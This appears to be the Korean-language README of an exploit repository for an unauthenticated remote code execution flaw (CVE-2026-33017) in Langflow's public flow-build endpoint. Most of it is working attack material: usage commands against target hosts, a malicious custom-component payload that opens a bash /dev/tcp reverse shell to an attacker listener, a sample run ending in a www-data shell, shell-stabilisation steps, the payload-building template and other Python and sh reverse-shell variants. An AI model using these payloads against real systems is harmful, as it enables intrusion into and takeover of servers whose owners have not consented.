POST /api/v1/build_public_tmp/{flow_id}/flow

공격자 POST → build_public_tmp → start_flow_build() → create_graph() → 
Graph.from_payload() → add_nodes_and_edges() → initialize() → 
_instantiate_components_in_vertices() → instantiate_component() → 
eval_custom_component_code() → prepare_global_scope() → 
exec(compiled_code) ← 임의 코드 실행

git clone https://github.com/yourusername/CVE-2026-33017-exploit.git
cd CVE-2026-33017-exploit
pip install -r requirements.txt

requests>=2.28.0
urllib3>=1.26.0

python3 exploit.py --url <TARGET_URL> --flow-id <FLOW_ID> --lhost <LISTENER_IP> --lport <LISTENER_PORT>

# 리스너 시작
nc -lvnp 4444

# 익스플로잇 실행
python3 exploit.py --url https://target.langflow.com --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.16.171 --lport 4444

python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

python3 exploit.py -u http://localhost:7860 -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444 -t 30

import os

# 컴포넌트 로딩 중 즉시 실행됨
_x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
    display_name="X"
    outputs=[Output(display_name="O",name="o",method="r")]
    def r(self)->Data:
        return Data(data={})

1. 공격자가 POST 요청을 /api/v1/build_public_tmp/{flow_id}/flow로 전송
2. Langflow가 악성 CustomComponent를 수신
3. prepare_global_scope()가 컴포넌트 코드에 대해 exec() 호출
4. 모듈 레벨 코드가 즉시 실행됨
   ├── _x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
5. 리버스 셸이 공격자의 리스너로 연결
6. 그래프 컴파일이 계속됨 (하지만 이미 늦음)

$ python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

============================================================
  CVE-2026-33017 - Langflow 인증 우회 RCE
============================================================

[!] 리스너가 실행 중인지 확인하세요:
    nc -lvnp 4444

[+] 대상 URL: https://target.langflow.com/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
[+] LHOST: 10.10.16.171
[+] LPORT: 4444
[*] 익스플로잇 페이로드 전송 중...
[+] 상태 코드: 200
[+] 익스플로잇 전송 성공!
[+] 작업 ID: abc123-def456-789ghi

[*] 리버스 셸을 위해 리스너를 확인하세요!
[*] nc -lvnp 4444

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.171] from (UNKNOWN) [10.129.8.2] 42348
bash: cannot set terminal process group (1526): Inappropriate ioctl for device
bash: no job control in this shell
www-data@langflow:/app$

# Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# 또는 script 사용
script /dev/null -c bash

# Ctrl+Z로 백그라운드 전환
# 그런 다음 실행:
stty raw -echo
fg
reset
export TERM=xterm

# build_payload() 함수 내부:
return f"""import os

_x = os.system("{command}")

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
    display_name="X"
    outputs=[Output(display_name="O",name="o",method="r")]
    def r(self)->Data:
        return Data(data={{}})
"""

import os, socket, subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("LHOST", LPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])

import os
os.system("/bin/sh -c 'exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done'")